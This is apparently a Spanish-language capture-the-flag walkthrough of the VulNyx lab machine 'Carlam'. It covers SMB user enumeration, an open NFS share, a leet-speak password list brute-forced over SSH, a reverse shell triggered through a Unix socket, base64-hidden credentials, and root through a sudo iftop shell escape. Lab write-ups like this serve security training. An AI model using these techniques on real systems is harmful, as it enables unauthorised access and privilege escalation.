VulNyx - Carlam
Information
Carlam es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario Micky y funciona correctamente en el hipervisor VirtualBox.

Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.98
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 07:53 CEST
Nmap scan report for 192.168.1.98
Host is up (0.00012s latency).
Not shown: 65525 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
38811/tcp open unknown
40185/tcp open unknown
42075/tcp open unknown
49677/tcp open unknown
49777/tcp open unknown
❯ nmap -sVC -p22,111,139,445,2049,38811,40185,42075,49677,49777 192.168.1.98
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 07:54 CEST
Nmap scan report for 192.168.1.98
Host is up (0.00070s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 48:a5:6a:7a:bf:c3:8a:60:be:f8:0d:4f:44:bd:2f:e4 (RSA)
| 256 e5:6c:a7:94:25:09:75:2d:d0:55:78:b8:d6:c3:26:f2 (ECDSA)
|_ 256 36:a2:cc:18:ff:01:62:e0:be:df:dc:35:3a:b9:e9:ee (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 39399/udp6 mountd
| 100005 1,2,3 49185/tcp6 mountd
| 100005 1,2,3 49777/tcp mountd
|_ 100005 1,2,3 56220/udp mountd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: FINE_ARTS)
445/tcp open netbios-ssn Samba smbd 4.8.12 (workgroup: FINE_ARTS)
2049/tcp open nfs 3-4 (RPC #100003)
38811/tcp open nlockmgr 1-4 (RPC #100021)
40185/tcp open mountd 1-3 (RPC #100005)
42075/tcp open status 1 (RPC #100024)
49677/tcp open mountd 1-3 (RPC #100005)
49777/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:B1:FF:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: CARLAM
Host script results:
| smb2-time:
| date: 2025-05-07T05:54:30
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.8.12)
| Computer name: carlam
| NetBIOS computer name: CARLAM\x00
| Domain name: my.domain
| FQDN: carlam.my.domain
|_ System time: 2025-05-07T07:54:30+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: CARLAM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: -40m01s, deviation: 1h09m16s, median: -1s
Shell (carlampio)
445/TCP (SMB)
Basic Enumeration
❯ netexec smb 192.168.1.98
SMB 192.168.1.98 445 CARLAM [*] Unix - Samba (name:CARLAM) (domain:my.domain) (signing:False) (SMBv1:True)
User Enumeration
RID Brute Force
Obtengo los usuarios carlampio, xiroi y aitana
❯ rpcclient -W '' -U ''%'' 192.168.1.98 -c 'lookupnames root'
root S-1-22-1-0 (User: 1)
❯ for i in $(seq 1000 1005); do bash -c "rpcclient -W '' -U ''%'' 192.168.1.98 -c 'lookupsids S-1-22-1-$i'" ;done
S-1-22-1-1000 Unix User\carlampio (1)
S-1-22-1-1001 Unix User\xiroi (1)
S-1-22-1-1002 Unix User\aitana (1)
S-1-22-1-1003 Unix User\1003 (1)
S-1-22-1-1004 Unix User\1004 (1)
S-1-22-1-1005 Unix User\1005 (1)
2049/TCP (NFS)
List
Listo la carpeta /tmp/carlam y /srv/share disponible para montar en el host remoto
❯ showmount -e 192.168.1.98
Export list for 192.168.1.98:
/tmp/carlam *
/srv/share *
Mount
Al montar la carpeta /srv/share encuentro varios archivos
❯ cd /dev/shm
❯ mkdir nfs
❯ mount -t nfs 192.168.1.98:/srv/share /dev/shm/nfs -nolock
❯ ls -la /dev/shm/nfs
drwxrwxrwx root root 4.0 KB Mon May 5 23:36:49 2025 .
drwxrwxrwt root root 80 B Wed May 7 08:06:42 2025 ..
.rw-r--r-- kali kali 74 B Mon May 5 22:42:12 2025 .notes
.rw-rw-r-- kali kali 364 KB Mon May 5 22:47:26 2025 carlampio.jpg
.rw-rw-r-- kali kali 542 B Mon May 5 22:47:30 2025 microrelato.txt
En .notes nos dan la siguiente pista “Not use Leet” que hace alusión al formato Leet speak
Convierto los nombres de usuario a formato Leet speak para generar posibles passwords
❯ echo 'Carlampio' | sed 's/a/4/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/5/g; s/t/7/g' > pass.dic
❯ echo 'carlampio' | sed 's/a/4/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/5/g; s/t/7/g' >> pass.dic
❯ echo 'Xiroi' | sed 's/a/4/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/5/g; s/t/7/g' >> pass.dic
❯ echo 'xiroi' | sed 's/a/4/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/5/g; s/t/7/g' >> pass.dic
❯ echo 'Aitana' | sed 's/a/4/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/5/g; s/t/7/g' >> pass.dic
❯ echo 'aitana' | sed 's/a/4/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/5/g; s/t/7/g' >> pass.dic
Genero una wordlist de usuarios y otra de passwords
❯ cat users.dic ;echo
carlampio
xiroi
aitana
❯ cat pass.dic ;echo
C4rl4mp10
c4rl4mp10
x1r01
X1r01
A174n4
4174n4
22/TCP (SSH)
Password Brute Force
Obtengo éxito con las siguientes credenciales carlampio:C4rl4mp10
❯ netexec ssh 192.168.1.98 -u users.dic -p pass.dic
SSH 192.168.1.98 22 192.168.1.98 [*] SSH-2.0-OpenSSH_7.7
SSH 192.168.1.98 22 192.168.1.98 [+] carlampio:C4rl4mp10 Linux - Shell access!
Accedo al sistema como usuario carlampio
❯ sshpass -p 'C4rl4mp10' ssh carlampio@192.168.1.98 -o StrictHostKeyChecking=no
Warning: Permanently added '192.168.1.98' (ED25519) to the list of known hosts.
Welcome to CARLAM!
VM Vulnerable to improve your hacking skills
by Micky
carlam:~$ id ; hostname
uid=1000(carlampio) gid=1000(carlampio) groups=1000(carlampio)
carlam
Shell (xiroi)
Enumeration
Socket File
En /tmp/app.sock existe un archivo de tipo Unix Socket File
carlam:~$ ls -l /tmp
total 0
srwxrwxrwx 1 xiroi xiroi 0 May 7 07:52 app.sock
carlam:~$ file /tmp/app.sock
/tmp/app.sock: socket
Ejecuto con socat el archivo app.sock y con help se obtiene ayuda
carlam:~$ socat - UNIX-CONNECT:/tmp/app.sock
What the hell?. Use 'help'.
Abuse
Con create_reverse_shell envia una reverse shell por el puerto 4444
carlam:~$ echo -n 'help' | socat - UNIX-CONNECT:/tmp/app.sock
Commands:
help → Show this messaje
whoami → Show real user
list → List files in /home/xiroi
create_reverse_shell → Shell in 4444
Obtengo la shell como usuario xiroi
carlam:~$ echo -n 'create_reverse_shell' | socat - UNIX-CONNECT:/tmp/app.sock
[xiroi] Shell in 4444
carlam:~$
❯ sshpass -p 'C4rl4mp10' ssh carlampio@192.168.1.98 -o StrictHostKeyChecking=no
Welcome to CARLAM!
VM Vulnerable to improve your hacking skills
by Micky
carlam:~$ nc -lvnp 4444
listening on [::]:4444 ...
connect to [::ffff:127.0.0.1]:4444 from [::ffff:127.0.0.1]:36733 ([::ffff:127.0.0.1]:36733)
/bin/ash: can't access tty; job control turned off
/ $ id ; hostname
uid=1001(xiroi) gid=1001(xiroi) groups=1001(xiroi)
carlam
Shell (aitana)
Enumeration
Config Files
/ $ ls -laR /home/xiroi
/home/xiroi:
total 40
drwxr-x--- 5 xiroi xiroi 4096 May 6 04:46 .
drwxr-xr-x 5 root root 4096 May 6 01:21 ..
drwxr-xr-x 2 xiroi xiroi 4096 May 6 04:43 .apps
-rw------- 1 xiroi xiroi 21 May 6 04:50 .ash_history
drwxr-xr-x 2 xiroi xiroi 4096 May 6 04:44 .conf
drwx------ 2 xiroi xiroi 4096 May 6 04:40 .ssh
-rwxr-xr-x 1 xiroi xiroi 15600 May 6 03:51 app
/home/xiroi/.apps:
total 8
drwxr-xr-x 2 xiroi xiroi 4096 May 6 04:43 .
drwxr-x--- 5 xiroi xiroi 4096 May 6 04:46 ..
-rw-r--r-- 1 xiroi xiroi 0 May 6 04:43 none
/home/xiroi/.conf:
total 20
drwxr-xr-x 2 xiroi xiroi 4096 May 6 04:44 .
drwxr-x--- 5 xiroi xiroi 4096 May 6 04:46 ..
-rw-r--r-- 1 xiroi xiroi 13 May 6 04:44 .hi
-rw-r--r-- 1 xiroi xiroi 33 May 6 04:42 .scrt
-rw-r--r-- 1 xiroi xiroi 13 May 6 04:44 sort
/home/xiroi/.ssh:
total 8
drwx------ 2 xiroi xiroi 4096 May 6 04:40 .
drwxr-x--- 5 xiroi xiroi 4096 May 6 04:46 ..
En /home/xiroi/.conf/.scrt encuentro una cadena en base64
/ $ cat /home/xiroi/.conf/.scrt
YWl0YW5hOjQxdDRuNFNfUzNjcjN0Cg==
Decodifico la cadena en base64 y obtengo credenciales del usuario aitana
❯ base64 -d <<< 'YWl0YW5hOjQxdDRuNFNfUzNjcjN0Cg=='
aitana:41t4n4S_S3cr3t
Accedo al sistema como usuario aitana con las credenciales obtenidas
❯ sshpass -p '41t4n4S_S3cr3t' ssh aitana@192.168.1.98 -o StrictHostKeyChecking=no
Welcome to CARLAM!
VM Vulnerable to improve your hacking skills
by Micky
carlam:~$ id ; hostname
uid=1002(aitana) gid=1002(aitana) groups=1002(aitana)
carlam
Privilege Escalation
Enumeration
Sudo
El usuario aitana puede ejecutar como root el binario iftop con sudo
carlam:~$ sudo -l
User aitana may run the following commands on carlam:
(ALL) NOPASSWD: /usr/sbin/iftop
Abuse
En GTFOBins nos dan la secuencia de shell-escape siguiente !/bin/sh
carlam:~$ sudo -u root /usr/sbin/iftop
Command> /bin/ash
└────────────────────────────────────┴────────────────────────────────────┴
Me convierto en usuario root
interface: eth0
IP address is: 192.168.1.98
MAC address is: 08:00:xx:xx:xx:xx
carlam:/home/aitana# id ; hostname
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
carlam
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt
carlam:/# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
23bd****************************
9755****************************
Hasta aquí la resolución de la máquina Carlam.
Happy Hacking!